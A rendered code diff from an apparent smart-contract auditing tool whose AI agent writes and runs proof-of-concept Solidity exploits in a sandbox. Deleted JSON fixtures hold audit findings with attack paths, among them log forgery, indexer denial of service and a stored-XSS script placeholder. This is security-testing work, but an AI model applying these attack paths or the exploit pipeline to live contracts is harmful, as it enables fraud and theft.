|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
src/agents/tester/data/input.json
DELETED
|
@@ -1,18 +0,0 @@
|
|
| 1 |
-
{
|
| 2 |
-
"title": "Unrestricted Reward String in burn() Enables Log Poisoning and Off-Chain Manipulation",
|
| 3 |
-
"description": "The burn() function accepts an arbitrary user-supplied string as the 'recompensa' parameter and emits it directly in the RewardRedeemed event without any validation, allowlist check, or length restriction. Any caller can pass malicious, misleading, or excessively long strings into the on-chain event log. Off-chain systems (loyalty backends, indexers, dashboards) that consume this event and trust the 'recompensa' field are vulnerable to: (1) log poisoning / event spoofing — a user can emit 'recompensa' values like 'Admin Grant: 1000 free coffees' that were never authorized; (2) denial-of-service on indexers via extremely large strings; (3) injection attacks if the string is rendered in a web UI without sanitization.",
|
| 4 |
-
"recommendation": "Replace the free-form string parameter with an enumerated reward identifier (e.g. uint8 rewardId) and maintain an owner-controlled mapping of valid reward IDs to descriptions. This constrains what can appear in event logs to only administrator-approved values. Example refactor:\n\nsolidity\n// Owner-managed reward catalogue\nmapping(uint8 => string) public rewardCatalogue;\n\nfunction setReward(uint8 id, string calldata description) external onlyOwner {\n rewardCatalogue[id] = description;\n}\n\nfunction burn(uint256 amount, uint8 rewardId) public {\n require(amount > 0, \"CafeToken: quantidade invalida\");\n require(bytes(rewardCatalogue[rewardId]).length > 0, \"CafeToken: recompensa invalida\");\n require(balanceOf(msg.sender) >= amount, \"CafeToken: saldo insuficiente\");\n _burn(msg.sender, amount);\n emit RewardRedeemed(msg.sender, amount, rewardId);\n}\n\nThis ensures only legitimate, pre-approved rewards are ever recorded on-chain.",
|
| 5 |
-
"severity": "medium",
|
| 6 |
-
"codeSnippet": "function burn(uint256 amount, string memory recompensa) public {\n require(amount > 0, \"CafeToken: a quantidade a queimar deve ser maior que zero\");\n require(balanceOf(msg.sender) >= amount, \"CafeToken: saldo insuficiente para queimar tokens\");\n _burn(msg.sender, amount);\n emit RewardRedeemed(msg.sender, amount, recompensa); // <-- arbitrary user input emitted as event data\n}",
|
| 7 |
-
"location": "L71-L81",
|
| 8 |
-
"path": "contracts/CafeToken.sol",
|
| 9 |
-
"judgeReview": {
|
| 10 |
-
"review": "Confirmed valid finding. The vulnerability is real and the attack surface is well-defined. The burn() function places zero constraints on the 'recompensa' string before broadcasting it as an authoritative event. The severity is appropriately rated medium rather than high because: (a) no funds are directly at risk from the contract itself — a caller can only burn their own tokens; (b) the primary damage surface is off-chain systems and UX layers that consume events, not the on-chain state. However, in a loyalty program context where the event log IS the business record, the ability for any token holder to forge arbitrary reward redemption records is a meaningful integrity risk. The exploit is trivially reproducible with zero prerequisites beyond holding at least 1 CAFE token. The recommendation to use an enumerated reward catalogue with owner-gated registration is sound and idiomatic for this pattern.",
|
| 11 |
-
"confidence": 0.91,
|
| 12 |
-
"exploitablePaths": [
|
| 13 |
-
"Attacker holds ≥1 CAFE token → calls burn(1, 'Gold Member Upgrade: 500 free coffees') → forged RewardRedeemed event is emitted and indexed by the loyalty backend as a legitimate redemption record",
|
| 14 |
-
"Attacker calls burn(1, <64KB string>) repeatedly → bloats event logs and causes out-of-memory or timeout failures in off-chain indexers processing the RewardRedeemed event stream",
|
| 15 |
-
"Web dashboard renders recompensa field as raw HTML → attacker passes '<script>...</script>' as recompensa → stored XSS executes in the admin panel of any operator that displays redemption history without sanitization"
|
| 16 |
-
]
|
| 17 |
-
}
|
| 18 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
src/agents/tester/data/input_centrifuge.json
DELETED
|
@@ -1,16 +0,0 @@
|
|
| 1 |
-
{
|
| 2 |
-
"title": "Escrow mismatch in LiquidityPool due to price changes during epoch execution",
|
| 3 |
-
"description": "The LiquidityPool contract relies on an external InvestmentManager to process deposits and mints. When an investor requests a deposit, their assets are locked. During the epoch execution, if the tranche token price changes significantly, the amount of shares to be minted (TokenShares) may exceed the available balance in the Escrow contract, causing subsequent collection transactions (mint/deposit) to revert for some users while others succeed.",
|
| 4 |
-
"recommendation": "Ensure the Escrow contract is always sufficiently funded by validating price impacts before final execution or implement a more robust collection mechanism that handles partial fills or explicit failure states when Escrow is empty.",
|
| 5 |
-
"severity": "high",
|
| 6 |
-
"codeSnippet": "function deposit(uint256 assets, address receiver) public withApproval(receiver) returns (uint256 shares) {\n shares = investmentManager.processDeposit(receiver, assets);\n emit Deposit(address(this), receiver, assets, shares);\n}",
|
| 7 |
-
"location": "L148-L151",
|
| 8 |
-
"path": "contracts/LiquidityPool.sol",
|
| 9 |
-
"judgeReview": {
|
| 10 |
-
"review": "Confirmed valid finding. The vulnerability occurs when multiple investors deposit at different prices within the same logic flow. If the price in the second epoch is higher/lower than expected, the calculation of total shares needed in Escrow might be incorrect, leading to a denial of service (revert) for users trying to collect their shares after the price update.",
|
| 11 |
-
"confidence": 0.95,
|
| 12 |
-
"exploitablePaths": [
|
| 13 |
-
"User A deposits 100 assets at price 1.25 -> User B deposits 100 assets at price 2.0 -> Price updates -> User A collects successfully -> User B tries to collect but Escrow is empty -> Transaction reverts."
|
| 14 |
-
]
|
| 15 |
-
}
|
| 16 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
src/agents/tester/graph.ts
ADDED
|
@@ -0,0 +1,80 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { StateGraph, END, START } from "@langchain/langgraph";
|
| 2 |
+
import { ToolNode } from "@langchain/langgraph/prebuilt";
|
| 3 |
+
import { PoCStateAnnotation, PoCState } from "./state.js";
|
| 4 |
+
import { oracleNode } from "./nodes/oracle.js";
|
| 5 |
+
import { routerNode } from "./nodes/router.js";
|
| 6 |
+
import { pocoAgentNode } from "./nodes/pocoAgent.js";
|
| 7 |
+
import { pocoTools } from "./tools.js";
|
| 8 |
+
|
| 9 |
+
// Create the ToolNode
|
| 10 |
+
const pocoToolsNode = new ToolNode<PoCState>(pocoTools);
|
| 11 |
+
|
| 12 |
+
// The conditional router for the ReAct loop
|
| 13 |
+
function routeAfterAgent(state: PoCState): "pocoToolsNode" | typeof END {
|
| 14 |
+
// If we hit limits, stop
|
| 15 |
+
if (state.status === "failed" || state.status === "timeout") {
|
| 16 |
+
return END;
|
| 17 |
+
}
|
| 18 |
+
|
| 19 |
+
const messages = state.messages;
|
| 20 |
+
const lastMessage = messages[messages.length - 1];
|
| 21 |
+
|
| 22 |
+
// If the LLM made tool calls, route to tools
|
| 23 |
+
if ("tool_calls" in lastMessage && Array.isArray(lastMessage.tool_calls) && lastMessage.tool_calls.length > 0) {
|
| 24 |
+
return "pocoToolsNode";
|
| 25 |
+
}
|
| 26 |
+
|
| 27 |
+
// Otherwise, the LLM has finished its reasoning/execution
|
| 28 |
+
return END;
|
| 29 |
+
}
|
| 30 |
+
|
| 31 |
+
// A simple node to update the toolCallCount after tools run
|
| 32 |
+
function trackToolCallsNode(state: PoCState): Partial<PoCState> {
|
| 33 |
+
const messages = state.messages;
|
| 34 |
+
const lastMessage = messages[messages.length - 1];
|
| 35 |
+
|
| 36 |
+
let newStatus = state.status;
|
| 37 |
+
if (lastMessage && lastMessage._getType() === "tool" && lastMessage.name === "smart_contract_test") {
|
| 38 |
+
if (typeof lastMessage.content === "string" && lastMessage.content.includes("Test Passed Successfully!")) {
|
| 39 |
+
newStatus = "success";
|
| 40 |
+
}
|
| 41 |
+
}
|
| 42 |
+
|
| 43 |
+
return {
|
| 44 |
+
toolCallCount: 1, // reducer is additive (+1)
|
| 45 |
+
status: newStatus,
|
| 46 |
+
};
|
| 47 |
+
}
|
| 48 |
+
|
| 49 |
+
function routeAfterTools(state: PoCState): "pocoAgentNode" | typeof END {
|
| 50 |
+
if (state.status === "success") {
|
| 51 |
+
return END;
|
| 52 |
+
}
|
| 53 |
+
return "pocoAgentNode";
|
| 54 |
+
}
|
| 55 |
+
|
| 56 |
+
const graphBuilder = new StateGraph(PoCStateAnnotation)
|
| 57 |
+
.addNode("oracleNode", oracleNode)
|
| 58 |
+
.addNode("routerNode", routerNode)
|
| 59 |
+
.addNode("pocoAgentNode", pocoAgentNode)
|
| 60 |
+
.addNode("pocoToolsNode", pocoToolsNode)
|
| 61 |
+
.addNode("trackToolCallsNode", trackToolCallsNode)
|
| 62 |
+
|
| 63 |
+
.addEdge(START, "oracleNode")
|
| 64 |
+
.addEdge("oracleNode", "routerNode")
|
| 65 |
+
.addEdge("routerNode", "pocoAgentNode")
|
| 66 |
+
|
| 67 |
+
// ReAct Loop Routing
|
| 68 |
+
.addConditionalEdges("pocoAgentNode", routeAfterAgent, {
|
| 69 |
+
pocoToolsNode: "pocoToolsNode",
|
| 70 |
+
[END]: END,
|
| 71 |
+
})
|
| 72 |
+
|
| 73 |
+
// After tools execute, track the count, then loop back to agent
|
| 74 |
+
.addEdge("pocoToolsNode", "trackToolCallsNode")
|
| 75 |
+
.addConditionalEdges("trackToolCallsNode", routeAfterTools, {
|
| 76 |
+
pocoAgentNode: "pocoAgentNode",
|
| 77 |
+
[END]: END,
|
| 78 |
+
});
|
| 79 |
+
|
| 80 |
+
export const testerAgentGraph = graphBuilder.compile();
|
src/agents/tester/index.ts
DELETED
|
@@ -1,27 +0,0 @@
|
|
| 1 |
-
import { testerAgent } from "./agent.js";
|
| 2 |
-
import { VulnerabilityReport, PoCResult } from "./types.js";
|
| 3 |
-
|
| 4 |
-
/**
|
| 5 |
-
* Entry point para o Agente Gerador de PoCs.
|
| 6 |
-
* @param report O relatório de vulnerabilidade (mapeado a partir do Finding do Auditor).
|
| 7 |
-
* @returns PoCResult contendo o código do exploit e o status da execução.
|
| 8 |
-
*/
|
| 9 |
-
export async function runPoCGenerator(report: VulnerabilityReport): Promise<PoCResult> {
|
| 10 |
-
console.log(`[runPoCGenerator] Iniciando para: ${report.id} — ${report.title}`);
|
| 11 |
-
|
| 12 |
-
const finalState = await testerAgent.invoke({ report }, { recursionLimit: 100 });
|
| 13 |
-
|
| 14 |
-
const result: PoCResult = {
|
| 15 |
-
reportId: report.id,
|
| 16 |
-
status: finalState.status === "running" ? "failed" : finalState.status,
|
| 17 |
-
solidityCode: finalState.pocCode,
|
| 18 |
-
executionLogs: finalState.executionLogs,
|
| 19 |
-
iterations: finalState.iterations,
|
| 20 |
-
};
|
| 21 |
-
|
| 22 |
-
console.log(`[runPoCGenerator] Concluído — status=${result.status}, iterações=${result.iterations}`);
|
| 23 |
-
return result;
|
| 24 |
-
}
|
| 25 |
-
|
| 26 |
-
export type { VulnerabilityReport, PoCResult, Finding, OracleContext } from "./types.js";
|
| 27 |
-
export { testerAgent } from "./agent.js";
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
src/agents/tester/nodes.ts
DELETED
|
@@ -1,242 +0,0 @@
|
|
| 1 |
-
import { SystemMessage, HumanMessage } from "@langchain/core/messages";
|
| 2 |
-
import { PoCState } from "./state.js";
|
| 3 |
-
import {
|
| 4 |
-
INFRASTRUCTURE_PROMPT,
|
| 5 |
-
INFRA_FIX_PROMPT,
|
| 6 |
-
EXPLOIT_INJECTION_PROMPT,
|
| 7 |
-
EXPLOIT_FIX_PROMPT
|
| 8 |
-
} from "./prompts/system.js";
|
| 9 |
-
import { extractSolidity } from "./utils/extractSolidity.js";
|
| 10 |
-
import { createLLM } from "../../config/llm.ts";
|
| 11 |
-
import { createSearchCodebaseTool, createReadFileTool } from "./tools/codebaseTools.js";
|
| 12 |
-
import { AIMessage, ToolMessage } from "@langchain/core/messages";
|
| 13 |
-
|
| 14 |
-
// Models
|
| 15 |
-
const smartLlm = createLLM(undefined, "google/gemini-3-flash-preview");
|
| 16 |
-
const fastLlm = createLLM(undefined, "google/gemini-3.1-flash-lite");
|
| 17 |
-
|
| 18 |
-
// --- INFRASTRUCTURE LOOP ---
|
| 19 |
-
|
| 20 |
-
export async function generateInfrastructureNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 21 |
-
const { report, oracleContext, executionLogs, iterations, lastError } = state;
|
| 22 |
-
const isRetry = !!lastError;
|
| 23 |
-
|
| 24 |
-
let systemPrompt = INFRASTRUCTURE_PROMPT.replace("{TARGET_NAME}", report.affectedContract.name);
|
| 25 |
-
let userMessage = "";
|
| 26 |
-
|
| 27 |
-
if (!isRetry) {
|
| 28 |
-
userMessage = `Please generate the Template.
|
| 29 |
-
|
| 30 |
-
### Scaffold:
|
| 31 |
-
\`\`\`solidity
|
| 32 |
-
${oracleContext!.solidityScaffold}
|
| 33 |
-
\`\`\`
|
| 34 |
-
|
| 35 |
-
### Remappings:
|
| 36 |
-
\`\`\`
|
| 37 |
-
${oracleContext!.projectRemappings}
|
| 38 |
-
\`\`\`
|
| 39 |
-
|
| 40 |
-
### Import Example:
|
| 41 |
-
\`\`\`solidity
|
| 42 |
-
${oracleContext!.projectTestImports}
|
| 43 |
-
\`\`\``;
|
| 44 |
-
} else {
|
| 45 |
-
systemPrompt = INFRA_FIX_PROMPT.replace("{ERROR_DETAILS}", lastError ?? "");
|
| 46 |
-
userMessage = `The template failed to compile or execute.
|
| 47 |
-
|
| 48 |
-
### Previous Template:
|
| 49 |
-
\`\`\`solidity
|
| 50 |
-
${state.templateCode}
|
| 51 |
-
\`\`\`
|
| 52 |
-
|
| 53 |
-
Fix the issues and return the updated template. Ensure the target is actually instantiated!`;
|
| 54 |
-
}
|
| 55 |
-
|
| 56 |
-
console.log(`[infraNode] Generating template... Retry: ${isRetry}`);
|
| 57 |
-
|
| 58 |
-
const sandboxDir = state.report.customSandboxDir || "./sandbox";
|
| 59 |
-
const searchTool = createSearchCodebaseTool(sandboxDir);
|
| 60 |
-
const readTool = createReadFileTool(sandboxDir);
|
| 61 |
-
const tools = [searchTool, readTool];
|
| 62 |
-
const llmWithTools = fastLlm.bindTools(tools);
|
| 63 |
-
|
| 64 |
-
const messages: any[] = [
|
| 65 |
-
new SystemMessage(systemPrompt),
|
| 66 |
-
new HumanMessage(userMessage)
|
| 67 |
-
];
|
| 68 |
-
|
| 69 |
-
let iterationsInLoop = 0;
|
| 70 |
-
const maxIterations = 5;
|
| 71 |
-
let rawContent = "";
|
| 72 |
-
|
| 73 |
-
while (iterationsInLoop < maxIterations) {
|
| 74 |
-
console.log(`[infraNode] ReAct loop iteration ${iterationsInLoop + 1}`);
|
| 75 |
-
const response = await llmWithTools.invoke(messages);
|
| 76 |
-
messages.push(response);
|
| 77 |
-
|
| 78 |
-
if (response.tool_calls && response.tool_calls.length > 0) {
|
| 79 |
-
for (const toolCall of response.tool_calls) {
|
| 80 |
-
let toolResult = "";
|
| 81 |
-
try {
|
| 82 |
-
if (toolCall.name === "searchCodebase") {
|
| 83 |
-
toolResult = await searchTool.invoke(toolCall.args);
|
| 84 |
-
} else if (toolCall.name === "readFile") {
|
| 85 |
-
toolResult = await readTool.invoke(toolCall.args);
|
| 86 |
-
} else {
|
| 87 |
-
toolResult = "Unknown tool.";
|
| 88 |
-
}
|
| 89 |
-
} catch (e: any) {
|
| 90 |
-
toolResult = `Error executing tool: ${e.message}`;
|
| 91 |
-
}
|
| 92 |
-
|
| 93 |
-
messages.push(new ToolMessage({
|
| 94 |
-
tool_call_id: toolCall.id!,
|
| 95 |
-
name: toolCall.name,
|
| 96 |
-
content: toolResult,
|
| 97 |
-
}));
|
| 98 |
-
}
|
| 99 |
-
} else {
|
| 100 |
-
rawContent = response.content as string;
|
| 101 |
-
break;
|
| 102 |
-
}
|
| 103 |
-
iterationsInLoop++;
|
| 104 |
-
}
|
| 105 |
-
|
| 106 |
-
if (!rawContent) {
|
| 107 |
-
const lastMsg = messages[messages.length - 1];
|
| 108 |
-
rawContent = (lastMsg instanceof AIMessage && typeof lastMsg.content === 'string')
|
| 109 |
-
? lastMsg.content
|
| 110 |
-
: `// [LLM_ERROR] Reached max tool iterations without returning final code.`;
|
| 111 |
-
}
|
| 112 |
-
let templateCode = "";
|
| 113 |
-
try {
|
| 114 |
-
templateCode = extractSolidity(rawContent);
|
| 115 |
-
} catch (e: any) {
|
| 116 |
-
// If extraction fails (e.g., safety refusal), return a mock invalid file
|
| 117 |
-
templateCode = `// [LLM_REFUSAL_OR_ERROR] ${e.message}\n// Raw Output: ${rawContent.slice(0, 200)}`;
|
| 118 |
-
}
|
| 119 |
-
|
| 120 |
-
return {
|
| 121 |
-
templateCode,
|
| 122 |
-
pocCode: templateCode, // Temporarily treat template as poc to run compiler
|
| 123 |
-
iterations: 1, // Overall
|
| 124 |
-
infraIterations: 1
|
| 125 |
-
};
|
| 126 |
-
}
|
| 127 |
-
|
| 128 |
-
// --- EXPLOIT LOOP ---
|
| 129 |
-
|
| 130 |
-
export async function generateExploitNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 131 |
-
const { vulnerabilityAnalysis, templateCode, exploitBody, executionLogs, lastError, iterations } = state;
|
| 132 |
-
|
| 133 |
-
// We transition from infra to exploit loop
|
| 134 |
-
const isRetry = state.infrastructurePhase === false;
|
| 135 |
-
|
| 136 |
-
let systemPrompt = EXPLOIT_INJECTION_PROMPT.replace("{TEMPLATE_CODE}", templateCode);
|
| 137 |
-
let userMessage = "";
|
| 138 |
-
|
| 139 |
-
if (!isRetry) {
|
| 140 |
-
userMessage = `Please inject the exploit logic based on this analysis:
|
| 141 |
-
|
| 142 |
-
${vulnerabilityAnalysis}`;
|
| 143 |
-
} else {
|
| 144 |
-
systemPrompt = EXPLOIT_FIX_PROMPT
|
| 145 |
-
.replace("{ERROR_DETAILS}", lastError ?? "")
|
| 146 |
-
.replace("{EXPLOIT_BODY}", exploitBody);
|
| 147 |
-
userMessage = `The exploit failed. Please rewrite the body of test_Exploit().`;
|
| 148 |
-
}
|
| 149 |
-
|
| 150 |
-
console.log(`[exploitNode] Generating hack... Retry: ${isRetry}`);
|
| 151 |
-
|
| 152 |
-
const sandboxDir = state.report.customSandboxDir || "./sandbox";
|
| 153 |
-
const searchTool = createSearchCodebaseTool(sandboxDir);
|
| 154 |
-
const readTool = createReadFileTool(sandboxDir);
|
| 155 |
-
const tools = [searchTool, readTool];
|
| 156 |
-
const llmWithTools = smartLlm.bindTools(tools);
|
| 157 |
-
|
| 158 |
-
const messages: any[] = [
|
| 159 |
-
new SystemMessage(systemPrompt),
|
| 160 |
-
new HumanMessage(userMessage)
|
| 161 |
-
];
|
| 162 |
-
|
| 163 |
-
let iterationsInLoop = 0;
|
| 164 |
-
const maxIterations = 5;
|
| 165 |
-
let rawContent = "";
|
| 166 |
-
|
| 167 |
-
while (iterationsInLoop < maxIterations) {
|
| 168 |
-
console.log(`[exploitNode] ReAct loop iteration ${iterationsInLoop + 1}`);
|
| 169 |
-
const response = await llmWithTools.invoke(messages);
|
| 170 |
-
messages.push(response);
|
| 171 |
-
|
| 172 |
-
if (response.tool_calls && response.tool_calls.length > 0) {
|
| 173 |
-
for (const toolCall of response.tool_calls) {
|
| 174 |
-
let toolResult = "";
|
| 175 |
-
try {
|
| 176 |
-
if (toolCall.name === "searchCodebase") {
|
| 177 |
-
toolResult = await searchTool.invoke(toolCall.args);
|
| 178 |
-
} else if (toolCall.name === "readFile") {
|
| 179 |
-
toolResult = await readTool.invoke(toolCall.args);
|
| 180 |
-
} else {
|
| 181 |
-
toolResult = "Unknown tool.";
|
| 182 |
-
}
|
| 183 |
-
} catch (e: any) {
|
| 184 |
-
toolResult = `Error executing tool: ${e.message}`;
|
| 185 |
-
}
|
| 186 |
-
|
| 187 |
-
messages.push(new ToolMessage({
|
| 188 |
-
tool_call_id: toolCall.id!,
|
| 189 |
-
name: toolCall.name,
|
| 190 |
-
content: toolResult,
|
| 191 |
-
}));
|
| 192 |
-
}
|
| 193 |
-
} else {
|
| 194 |
-
rawContent = response.content as string;
|
| 195 |
-
break;
|
| 196 |
-
}
|
| 197 |
-
iterationsInLoop++;
|
| 198 |
-
}
|
| 199 |
-
|
| 200 |
-
if (!rawContent) {
|
| 201 |
-
const lastMsg = messages[messages.length - 1];
|
| 202 |
-
rawContent = (lastMsg instanceof AIMessage && typeof lastMsg.content === 'string')
|
| 203 |
-
? lastMsg.content
|
| 204 |
-
: `// [LLM_ERROR] Reached max tool iterations without returning final code.`;
|
| 205 |
-
}
|
| 206 |
-
|
| 207 |
-
// --- GUARDRAIL: Catch comments immediately before Foundry ---
|
| 208 |
-
// The system prompts forbid // and /*. If the LLM still generates them (except SPDX/INJECT),
|
| 209 |
-
// we catch it here to save a slow Foundry roundtrip.
|
| 210 |
-
let newExploitBody = "";
|
| 211 |
-
try {
|
| 212 |
-
newExploitBody = extractSolidity(rawContent);
|
| 213 |
-
const codeLines = newExploitBody.split('\n');
|
| 214 |
-
const hasIllegalComments = codeLines.some(line => {
|
| 215 |
-
const t = line.trim();
|
| 216 |
-
if (t.startsWith("// SPDX-License-Identifier:") || t.includes("// INJECT_HACK")) return false;
|
| 217 |
-
return t.includes("//") || t.includes("/*");
|
| 218 |
-
});
|
| 219 |
-
|
| 220 |
-
if (hasIllegalComments) {
|
| 221 |
-
throw new Error("[GUARDRAIL_ERROR] You added a comment in the code. This is STRICTLY FORBIDDEN. Write the actual code instead of comments. Do NOT use '//' or '/*' (except for SPDX).");
|
| 222 |
-
}
|
| 223 |
-
} catch (e: any) {
|
| 224 |
-
// Return the generated code + error so the reflection loop catches it
|
| 225 |
-
return {
|
| 226 |
-
pocCode: rawContent, // pass raw so reflect node can see the mistake
|
| 227 |
-
lastError: e.message,
|
| 228 |
-
exploitIterations: state.exploitIterations + 1
|
| 229 |
-
};
|
| 230 |
-
}
|
| 231 |
-
|
| 232 |
-
// The Exploit LLM now outputs the FULL file
|
| 233 |
-
const pocCode = newExploitBody;
|
| 234 |
-
|
| 235 |
-
return {
|
| 236 |
-
exploitBody: newExploitBody,
|
| 237 |
-
pocCode: pocCode, // This is the final runnable file
|
| 238 |
-
infrastructurePhase: false, // Transition permanently to exploit loop
|
| 239 |
-
iterations: state.iterations + 1,
|
| 240 |
-
exploitIterations: state.exploitIterations + 1
|
| 241 |
-
};
|
| 242 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
src/agents/tester/nodes/oracle.ts
ADDED
|
@@ -0,0 +1,116 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
